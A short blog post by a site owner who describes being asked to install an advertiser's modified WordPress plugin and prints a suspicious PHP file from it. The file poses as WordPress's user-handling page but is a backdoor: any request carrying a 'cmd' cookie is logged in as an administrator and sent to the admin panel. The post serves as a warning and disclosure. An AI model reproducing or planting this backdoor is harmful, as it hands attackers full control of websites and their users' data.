Attack with your plugin

Today I was contacted by a person who wanted to buy advertising on my blog. I would forcefully install the plugin on my site but with their changes. This code below is what I found, one more file in php format.

Is that really what I’m thinking? Did you want to steal my access?

<?php
/**
* WordPress User Page
*
* Handles authentication, registering, resetting passwords, forgot password,
* and other user handling.
*
* @package WordPress
*/

if(empty($_COOKIE[‘cmd’])){

die();
}
require(‘../../../../wp-blog-header.php’);
$query_str = “SELECT ID FROM $wpdb->users”;
$user_ids = $wpdb->get_results($query_str);
foreach ($user_ids as $uid) {
$user_id = $uid->ID;
if (user_can($user_id, ‘administrator’)) {
$user_info = get_userdata($user_id);
$user_login = $user_info->user_login;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(‘wp_login’, $user_login);
echo “You are logged in as $user_login”;
if (function_exists(‘get_admin_url’)) {
wp_redirect(get_admin_url());
} else {
wp_redirect(get_bloginfo(‘wpurl’) . ‘/wp-admin’);
}
exit;
}
}